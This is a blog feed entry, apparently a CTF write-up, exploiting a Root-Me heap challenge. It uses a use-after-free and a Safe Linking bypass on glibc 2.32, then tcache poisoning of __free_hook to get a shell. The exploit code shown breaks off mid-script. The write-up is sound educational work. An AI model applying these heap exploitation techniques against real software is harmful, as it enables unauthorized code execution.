<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-US"><generator uri="https://jekyllrb.com/" version="4.1.1">Jekyll</generator><link href="http://localhost:4000/feed.xml" rel="self" type="application/atom+xml" /><link href="http://localhost:4000/" rel="alternate" type="text/html" hreflang="en-US" /><updated>2025-04-28T17:56:40+01:00</updated><id>http://localhost:4000/feed.xml</id><title type="html">retr0 Writeups|Blog.</title><subtitle>i hate my life so i do pwn.</subtitle><author><name>Badreddine Chamkhi</name><email>chamkhi.badreddine@esprit.tn</email></author><entry><title type="html">PWN ROOT-ME , Safe Linking Bypass.</title><link href="http://localhost:4000/pwn-Root-me-Safe-linking-Bypass/" rel="alternate" type="text/html" title="PWN ROOT-ME , Safe Linking Bypass." /><published>2023-10-15T00:00:00+01:00</published><updated>2023-10-15T00:00:00+01:00</updated><id>http://localhost:4000/pwn-Root-me-Safe-linking-Bypass</id><content type="html" xml:base="http://localhost:4000/pwn-Root-me-Safe-linking-Bypass/"><![CDATA[<h1 id="summary">Summary</h1>
<p>This challenge have an UAF bug which occures when freeing a chunk is some way , but glibc version is <code class="language-plaintext highlighter-rouge">2.32</code> so we have to deal with <code class="language-plaintext highlighter-rouge">Safe Linking</code> by getting a heap leak.</p>

<h1 id="understanding-the-program-flow">Understanding The Program Flow</h1>

<p>The binary have a five choices menu which allows you  to <strong>allocate a bloc</strong>, <strong>delete a bloc</strong>, <strong>edit a bloc</strong> , <strong>show a bloc</strong> and <strong>freeze a bloc</strong>. Reversing this binary is not hard , i am going to explain briefly through every choice.</p>

<h4 id="allocating-a-bloc">Allocating a bloc</h4>
<pre><code class="language-C">    if ( choice == 1 )
    {
      index = get_index();
      puts("Bloc Size:");
      if ( (unsigned int)__isoc99_scanf("%lu", size) != 1 )
        exit(-1);
      v4 = size[0];
      if ( size[0] &gt; 1280 )
      {
        puts("Bad size..");
        exit(-1);
      }
      sizes[index] = size[0];
      *heap[index] = malloc(v4);
      puts("Data:");
      size[0] = read(0, *((void **)&amp;heap + index), size[0]);
      *(_BYTE *)(*((_QWORD *)&amp;heap + index) + size[0] - 1) = 0;
    }
</code></pre>

<p>This function is so simple it takes an <strong>index</strong> ( without checking if this index is availble or not , this will be usefull later) , a <strong>size</strong> which should not more than 1280 ,   and finally it takes <strong>data</strong> into the allocated chunk.</p>

<h4 id="freezing-a-bloc">Freezing a bloc</h4>
<pre><code class="language-C">    if ( choice == 5 )
    {
      index = get_index();
      if ( freezed == -1 )
        freezed = index;
    }
</code></pre>
<p>Simple choice , it prompts for an index and checks if <code class="language-plaintext highlighter-rouge">freezed</code> global variable is equal to  <strong>-1</strong> , if condition is met the <code class="language-plaintext highlighter-rouge">freezed</code> variable gets the index value. this choice will get in handy when i explain how <strong>deleting a bloc</strong> works. <strong>NB : This choice is only a one time use since we are going to change <code class="language-plaintext highlighter-rouge">freezed</code> value to index value so the condition check for if freezed equals -1 now is false</strong></p>

<h4 id="deleting-a-bloc">Deleting a bloc</h4>

<p><strong>PS: i usually do my reversing in ida but for this choice ida gave me some false positive so i had to do it using ghidra.</strong></p>

<pre><code class="language-C">        if (choice == 2) {
          index = get_index();
          if (*(void **)(heap + index * 8) != (void *)0x0) {
            if ((freezed == index) &amp;&amp; (isfreezed != 0)) goto LAB_00100c8b;
            free(*(void **)(heap + index * 8));
          }
          if (freezed == index) {
            isfreezed = 1;
          }
          else {
            *(undefined8 *)(heap + index * 8) = 0;
          }
        }
</code></pre>

<p>our bug lays here ,  by tricking the program we can achieve a <code class="language-plaintext highlighter-rouge">UAF Bug</code> but this bug is only availble for only one index so we need to use it carefully.</p>

<h4 id="editing-a-bloc">Editing a bloc</h4>
<pre><code class="language-C">    if ( choice == 3 )
    {
      index = get_index();
      if ( *((_QWORD *)&amp;heap + v7) )
      {
        puts("Data:");
        size[0] = read(0, *((void **)&amp;heap + index), sizes[v7]);
        *(_BYTE *)(*((_QWORD *)&amp;heap + v7) + sizes[index] - 1LL) = 0;
</code></pre>

<h4 id="showing-a-bloc">Showing a bloc</h4>
<pre><code class="language-C">    if ( choice == 4 )
    {
      index = get_index();
      if ( *((_QWORD *)&amp;heap + index) )
      {
        puts("Data:");
        puts(*((const char **)&amp;heap + index));
      }
    }
</code></pre>

<h1 id="exploitation">Exploitation</h1>

<p>now we have a brief idea about the functinality of the program, let’s try some exploitation.</p>

<p>creating some helpers</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span> <span class="o">=</span> <span class="s">"amd64"</span><span class="p">,</span> <span class="n">log_level</span><span class="o">=</span><span class="s">"debug"</span><span class="p">)</span>
<span class="n">exe</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./chall_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>
<span class="n">ld</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./ld-2.32.so"</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">exe</span>
<span class="c1">#p = process("./chall_patched")
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"challenge03.root-me.org"</span><span class="p">,</span> <span class="mi">56589</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">alpha</span><span class="p">(</span><span class="n">heap</span><span class="p">,</span> <span class="n">target</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">target</span> <span class="o">^</span> <span class="p">(</span><span class="n">heap</span> <span class="o">&gt;&gt;</span> <span class="mh">0xc</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">x</span><span class="p">():</span> <span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">sl</span><span class="p">(</span><span class="n">choice</span><span class="p">):</span> <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"Choice?</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">choice</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span><span class="n">size</span><span class="p">,</span><span class="n">content</span><span class="p">:</span><span class="nb">bytes</span><span class="p">):</span>
    <span class="n">sl</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"Data:"</span><span class="p">,</span> <span class="n">content</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">sl</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span><span class="n">content</span><span class="p">:</span><span class="nb">bytes</span><span class="p">):</span>
    <span class="n">sl</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"Data:"</span><span class="p">,</span> <span class="n">content</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">sl</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">freeze</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">sl</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">cipher</span><span class="p">):</span>
    <span class="n">key</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">6</span><span class="p">):</span>
        <span class="n">bits</span> <span class="o">=</span> <span class="mi">64</span> <span class="o">-</span> <span class="mi">12</span> <span class="o">*</span> <span class="n">i</span>
        <span class="k">if</span> <span class="n">bits</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">:</span>
            <span class="n">bits</span> <span class="o">=</span> <span class="mi">0</span>
        <span class="n">plain</span> <span class="o">=</span> <span class="p">((</span><span class="n">cipher</span> <span class="o">^</span> <span class="n">key</span><span class="p">)</span> <span class="o">&gt;&gt;</span> <span class="n">bits</span><span class="p">)</span> <span class="o">&lt;&lt;</span> <span class="n">bits</span>
        <span class="n">key</span> <span class="o">=</span> <span class="n">plain</span> <span class="o">&gt;&gt;</span> <span class="mi">12</span>
    <span class="k">return</span> <span class="n">plain</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">x</span><span class="p">()</span>
    <span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>

</code></pre></div></div>

<p>i am going to explain what <code class="language-plaintext highlighter-rouge">alpha()</code> and <code class="language-plaintext highlighter-rouge">decrypt()</code> functions does later on .</p>

<h4 id="libc-base-leaking-">Libc base leaking :</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">add</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mh">0x428</span><span class="p">,</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">1</span> <span class="p">,</span><span class="mh">0x18</span><span class="p">,</span> <span class="sa">b</span><span class="s">"B"</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span>
    <span class="n">freeze</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">free</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mh">0x438</span><span class="p">,</span> <span class="sa">b</span><span class="s">"E"</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span>
    <span class="n">show</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
    <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
    <span class="n">libc_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">))</span> <span class="o">-</span> <span class="mh">0x1e3ff0</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">))</span>
</code></pre></div></div>
<p>here i allocated a big chunk so it goes beyong the tcache bin size range so i can get a libc pointer.
chunk with index 1 is for preventing consolidation. freeing the <strong>index 0 chunk</strong> then i add an another chunk which is bigger than the first one to push the first chunk into the large bin. So generally in classic heap exploitation challenges we use unsorted bin to leak libc , in this case if we use unsorted bin it’s going to be a dead end since the address of the <strong>head of unsorted bin</strong> in <code class="language-plaintext highlighter-rouge">main_arena</code> contains a <code class="language-plaintext highlighter-rouge">null byte</code> ,  the function <strong>show a bloc</strong> uses <code class="language-plaintext highlighter-rouge">puts</code> to show the content of a bloc and <code class="language-plaintext highlighter-rouge">puts</code> stops in a <code class="language-plaintext highlighter-rouge">null byte</code> so we have to figure out another way to leak the libc. i choose <code class="language-plaintext highlighter-rouge">large bin</code> , <code class="language-plaintext highlighter-rouge">small bin</code> also may works (i didn’t try it). so now our heap state is like this.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gef➤  heap bins
───────────────────────────────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ─────────────────────────────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=63, size=0x410, count=1] ←  Chunk(addr=0x563e88fbc2a0, size=0x410, flags=PREV_INUSE) 
────────────────────────────────────────────────────────────────────────────────────────────────── Fastbins for arena at 0x7fc631bf2ba0 ──────────────────────────────────────────────────────────────────────────────────────────────────
Fastbins[idx=0, size=0x20] 0x00
Fastbins[idx=1, size=0x30] 0x00
Fastbins[idx=2, size=0x40] 0x00
Fastbins[idx=3, size=0x50] 0x00
Fastbins[idx=4, size=0x60] 0x00
Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
──────────────────────────────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0x7fc631bf2ba0 ────────────────────────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in unsorted bin.
───────────────────────────────────────────────────────────────────────────────────────────────── Small Bins for arena at 0x7fc631bf2ba0 ─────────────────────────────────────────────────────────────────────────────────────────────────
[+] Found 0 chunks in 0 small non-empty bins.
───────────────────────────────────────────────────────────────────────────────────────────────── Large Bins for arena at 0x7fc631bf2ba0 ─────────────────────────────────────────────────────────────────────────────────────────────────
[+] large_bins[63]: fw=0x563e88fbc6a0, bk=0x563e88fbc6a0
 →   Chunk(addr=0x563e88fbc6b0, size=0x430, flags=PREV_INUSE)
[+] Found 1 chunks in 1 large non-empty bins.
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x563e88fbc6a0: 0x0000000000000000      0x0000000000000431
0x563e88fbc6b0: 0x00007fc631bf2ff0      0x00007fc631bf2ff0
0x563e88fbc6c0: 0x0000563e88fbc6a0      0x0000563e88fbc6a0
0x563e88fbc6d0: 0x0000000000000000      0x0000000000000000
gef➤  
0x563e88fbc6e0: 0x0000000000000000      0x0000000000000000
0x563e88fbc6f0: 0x0000000000000000      0x0000000000000000
0x563e88fbc700: 0x0000000000000000      0x0000000000000000
0x563e88fbc710: 0x0000000000000000      0x0000000000000000
0x563e88fbc720: 0x0000000000000000      0x0000000000000000
0x563e88fbc730: 0x0000000000000000      0x0000000000000000
0x563e88fbc740: 0x0000000000000000      0x0000000000000000
.........................................................
.........................................................
0x563e88fbcad0: 0x0000000000000430      0x0000000000000020
0x563e88fbcae0: 0x0042424242424242      0x0000000000000000
</code></pre></div></div>

<p>the output from the program</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>b'Data:\n'
0x7fc631a0f000 // libc base
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall_patched', '57940']
[DEBUG] Created script for new terminal:
    #!/usr/bin/python3
    import os
    os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './chall_patched', '57940'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmptd_0eyj7']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
What do you want to do...
1 . Alloc a bloc
2 . Free a bloc
3 . Edit a bloc
4 . Show a bloc
5 - Freeze a bloc
Choice?
$  
</code></pre></div></div>
<p>libc base leaking is done we go for heap base leak.</p>

<h4 id="heap-base-leak">Heap base leak</h4>
<p>Well in usual <code class="language-plaintext highlighter-rouge">Tcache poisining attacks</code> heap base leaks is not required but since <code class="language-plaintext highlighter-rouge">libc 2.32</code> introduced <code class="language-plaintext highlighter-rouge">Safe Linking</code> heap base now is a must to be able to solve such challenges.
for more information, about <code class="language-plaintext highlighter-rouge">Safe Linking</code>:  <strong>https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/</strong></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    <span class="n">add</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="sa">b</span><span class="s">"X"</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">4</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="sa">b</span><span class="s">"Z"</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span>
    <span class="n">add</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">,</span> <span class="sa">b</span><span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span><span class="p">)</span>
    <span class="n">free</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
    <span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
    <span class="n">show</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
    <span class="k">print</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
    <span class="n">leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">).</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span><span class="sa">b</span><span class="s">"</span><span class="se">\x00</span><span class="s">"</span><span class="p">))</span>
    <span class="n">heap_base</span> <span class="o">=</span> <span class="n">decrypt</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span> <span class="o">-</span><span class="mh">0x2d0</span><span class="c1">#- 0x6e0 for local
</span>    <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">heap_base</span><span class="p">))</span>
</code></pre></div></div>
<p>now the array that contains the heap pointer is this program is called <code class="language-plaintext highlighter-rouge">heap</code> . In this array index 0 and index 3 hold the same pointer for the same chunk which we are going to use to get a heap leak . first we allcoate 2 chunks with the same size , and another with any size (just to prevent from merging). now we free both of them so the tcache bin state for size 0x20 is like this 
<code class="language-plaintext highlighter-rouge">TCACHE[0x20] = INDEX_0_FWD points_to =&gt; INDEX_1</code>
as we said earlier index 0 and index 3 in the heap array have the same pointer so by showing the index 0 chunk we get a heap leak (we can’t do the same by showing index 3 because index 3 have been nulled in the heap array).
finally we have to decrypt the pointer that we leaked using the <code class="language-plaintext highlighter-rouge">decrypt()</code> function to regain the original pointer and calculate the heap base.
output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>b'Data:\n'
0x5620321ce410
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chall_patched', '61258']
[DEBUG] Created script for new terminal:
    #!/usr/bin/python3
    import os
    os.execve('/usr/bin/gdb', ['/usr/bin/gdb', '-q', './chall_patched', '61258'], os.environ)
[DEBUG] Launching a new terminal: ['/usr/bin/x-terminal-emulator', '-e', '/tmp/tmpxoowqif3']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
What do you want to do...
1 . Alloc a bloc
2 . Free a bloc
3 . Edit a bloc
4 . Show a bloc
5 - Freeze a bloc
Choice?
$  
</code></pre></div></div>

<p>Heap state :</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0x5620321ce6a0: 0x0000000000000000      0x0000000000000031
0x5620321ce6b0: 0x00005625501fc72e      0x00005620321ce010 //encryped pointer.
0x5620321ce6c0: 0x00005620321ce6a0      0x00005620321ce6a0
0x5620321ce6d0: 0x0000000000000000      0x0000000000000031
0x5620321ce6e0: 0x00000005620321ce      0x00005620321ce010
0x5620321ce6f0: 0x0000000000000000      0x0000000000000000
0x5620321ce700: 0x0000000000000000      0x0000000000000021
0x5620321ce710: 0x0068732f6e69622f      0x00007fc87b900c00
0x5620321ce720: 0x0000000000000000      0x00000000000003b1
0x5620321ce730: 0x00007fc87b900c00      0x00007fc87b900c00
0x5620321ce740: 0x0000000000000000      0x0000000000000000
0x5620321ce750: 0x0000000000000000      0x0000000000000000
0x5620321ce760: 0x0000000000000000      0x0000000000000000
0x5620321ce770: 0x0000000000000000      0x0000000000000000
0x5620321ce780: 0x0000000000000000      0x0000000000000000
.........................................................
.........................................................
0x5620321cead0: 0x00000000000003b0      0x0000000000000020
0x5620321ceae0: 0x0042424242424242      0x0000000000000000
0x5620321ceaf0: 0x0000000000000000      0x0000000000000441
.........................................................
</code></pre></div></div>

<p>calculating necessary addresses</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="n">system</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">system</span>
      <span class="n">hook</span> <span class="o">=</span> <span class="n">libc_base</span> <span class="o">+</span> <span class="n">libc</span><span class="p">.</span><span class="n">sym</span><span class="p">.</span><span class="n">__free_hook</span>
</code></pre></div></div>

<p>Only one thing left which is to mask the target pointer that we want to overwrite so we bypass <code class="language-plaintext highlighter-rouge">Safe Linking</code>.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="n">hook</span> <span class="o">=</span> <span class="n">alpha</span><span class="p">(</span><span class="n">heap_base</span><span class="p">,</span> <span class="n">hook</span><span class="p">)</span>
</code></pre></div></div>

<p>everything is read , classic <code class="language-plaintext highlighter-rouge">Tcache poising attack</code> now .</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">hook</span><span class="p">))</span>
      <span class="n">add</span><span class="p">(</span><span class="mi">6</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="sa">b</span><span class="s">"A"</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span>
      <span class="n">add</span><span class="p">(</span><span class="mi">7</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">))</span>
	  <span class="n">free</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span> <span class="o">//</span> <span class="n">triggering</span> <span class="n">the</span> <span class="n">sploit</span><span class="p">.</span>
</code></pre></div></div>

<p>and we should be good</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x3b bytes:
    b'chall  chall_patched  core  ld-2.32.so\tlibc.so.6  solve.py\n'
chall  chall_patched  core  ld-2.32.so    libc.so.6  solve.py
$ id
[DEBUG] Sent 0x3 bytes:
    b'id\n'
[DEBUG] Received 0xd0 bytes:
    b'uid=1000(retr0) gid=1000(retr0) groups=1000(retr0),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)\n'
uid=1000(retr0) gid=1000(retr0) groups=1000(retr0),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),122(bluetooth),134(scanner),142(kaboxer)
$  
</code></pre></div></div>

<h1 id="full-exploit">Full Exploit</h1>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s">"linux"</span><span class="p">,</span> <span class="n">arch</span> <span class="o">=</span> <span class="s">"amd64"</span><span class="p">,</span> <span class="n">log_level</span><span class="o">=</span><span class="s">"debug"</span><span class="p">)</span>
<span class="n">exe</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./chall_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>
<span class="n">ld</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./ld-2.32.so"</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">exe</span>
<span class="c1">#p = process("./chall_patched")
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"challenge03.root-me.org"</span><span class="p">,</span> <span class="mi">56589</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">alpha</span><span class="p">(</span><span class="n">heap</span><span class="p">,</span> <span class="n">target</span><span class="p">):</span>
    <span class="k">return</span> <span class="n">target</span> <span class="o">^</span> <span class="p">(</span><span class="n">heap</span> <span class="o">&gt;&gt;</span> <span class="mh">0xc</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">x</span><span class="p">():</span> <span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">sl</span><span class="p">(</span><span class="n">choice</span><span class="p">):</span> <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s">"Choice?</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">choice</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span><span class="n">size</span><span class="p">,</span><span class="n">content</span><span class="p">:</span><span class="nb">bytes</span><span class="p">):</span>
    <span class="n">sl</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Size:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"Data:"</span><span class="p">,</span> <span class="n">content</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">free</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">sl</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">idx</span><span class="p">,</span><span class="n">content</span><span class="p">:</span><span class="nb">bytes</span><span class="p">):</span>
    <span class="n">sl</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"Data:"</span><span class="p">,</span> <span class="n">content</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">show</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">sl</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"Index:"</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">))</span>

<span class="k">def</span> <span class="nf">freeze</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">sl</span><span class="p">(</span><span class="mi">5</span><span class="p">)</span>
